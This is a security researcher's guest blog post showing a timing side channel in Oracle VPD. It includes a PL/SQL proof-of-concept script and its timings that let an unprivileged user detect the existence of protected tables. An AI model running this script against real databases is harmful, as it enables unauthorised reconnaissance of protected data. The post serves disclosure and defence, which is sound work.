A guest post by Roy Fox, Sentrigo’s Head of Security Research. Thanks Roy!

Introduction

Black boxes are rarely entirely black. Many have side effects in addition to their functional effects, and virtually all consume external resources of one kind or another. When these effects or consumption are detectable, and when they reveal information on the internal workings, process flow or data, the otherwise-black box has a side channel.

Side channels are most important when they reveal information on unknown inputs, such as cryptographic keys. Oracle’s VPD mechanism is a good example of a process built with the purpose of controlling access to its input, but with the result of leaking information on its input. Even worse, side channels in VPD circumvent other access control measures, and leak information which was harder to get without the VPD.

We’re going to give an example of side-channel attacks, using the VPD functions from the introduction published by Arup Nanda in Oracle Magazine.  We’re running Oracle 10.2.0.4 on Linux x86. In this example, we use VPD to circumvent the mechanism that hides the existence of a table from a user who doesn’t have privileges for that table. Another example, which we didn’t implement, could be to use the VPD mechanism to gather information on the tables used in calculating the VPD predicate.

Revealing the existence of VPD-protected tables

In Oracle, there’s an implicit kind of privilege, to learn of the existence of a table. This permission can’t be granted or revoked, it simply manifests in the way Oracle responds to unprivileged queries on a table, which is exactly the same as when the table doesn’t exist.
Exactly? Well, not quite. In testing, a loop of 1,000,000 select queries from a non-existent table took 129 seconds, while doing the same to a small table for which we don’t have privileges took only 70 seconds. A classic side channel.
Our experiment was performed through LAN, on a database with no other sessions, on a machine with no other active processes. If you try to do the same over the web, on a busy corporate database, running on a central server, the noise will greatly impede any attempt to exploit this side channel, and while a 1.84 factor gap is quite large, it’d be nice to have something stronger.
So what if the table was VPD protected?
Let’s start with this simple VPD function, published in Oracle Magazine.

First, you’ll notice that this function is buggy. When user doesn’t appear in access_policy at all, l_retstr gets the value ‘CUST_ID IN ()’, which is bad syntax for a PL/SQL predicate. The result is embarrassing. An unprivileged user, who is of course likely not to appear in the access_policy table, will get:
SQL> select * from bank.customers;
select * from bank.customers
*
ERROR at line 1:
ORA-28113: policy predicate has error

This allows the unprivileged user to easily recognize the table as existing and, moreover, VPD-protected.

Time-based side-channel in VPD

Of course, real DBAs don’t create such bugs, right? So let’s fix it by adding

if (l_retstr = ‘CUST_ID IN ()’) then
l_retstr := ‘1=0’;
end if;

right before the other end if. This way, users not in access_policy get no rows selected, if they are privileged at all.
We’re using the default, dynamic mode of VPD. This means that the VPD function gets calculated again for each query of the table it protects. Oracle’s bug is that the VPD function gets calculated also when the user has no privileges on the table! This is probably by design: the VPD function is calculated before the statement is executed. But this is clearly not what you’d have wanted if you had a choice. In addition to performance issues, this widens the side-channel.

We’re using the following code to measure the time differences:

create or replace procedure foobar(tabname IN varchar2) is
begin
execute immediate ‘select * from ‘ || tabname;
exception when others then
return;
end;
/

set serveroutput on

declare
bef timestamp;
aft timestamp;
i number;
begin
i := 1;
bef := systimestamp;
loop
foobar(‘bank.nosuchtab’);
i := i + 1;
exit when i > 1000000;
end loop;
aft := systimestamp;
dbms_output.put_line(‘Nonexistent: ‘ || to_char(aft – bef));
i := 1;
bef := systimestamp;
loop
foobar(‘bank.accounts’);
i := i + 1;
exit when i > 1000000;
end loop;
aft := systimestamp;
dbms_output.put_line(‘No permissions: ‘ || to_char(aft – bef));
i := 1;
bef := systimestamp;
loop
foobar(‘bank.customers’);
i := i + 1;
exit when i > 1000000;
end loop;
aft := systimestamp;
dbms_output.put_line(‘No permissions + VPD: ‘ || to_char(aft – bef));
end;
/

The results are:
SQL> @vpd_attack.sql

Procedure created.

Nonexistent: +000000000 00:02:08.769144000
No permissions: +000000000 00:01:09.771213000
No permissions + VPD: +000000000 00:06:59.518912000

PL/SQL procedure successfully completed.

Querying a VPD-protected table without privileges a million times takes full 7 minutes, 3.26 times more than the 129 seconds for non-existent tables. This makes it very easy for an unprivileged user to identify all the VPD-protected tables whose name she can guess, even with no privileges at all beyond CREATE SESSION. With a 6.09 factor gap, it’s even easier to identify whether an existing table is VPD-protected or not.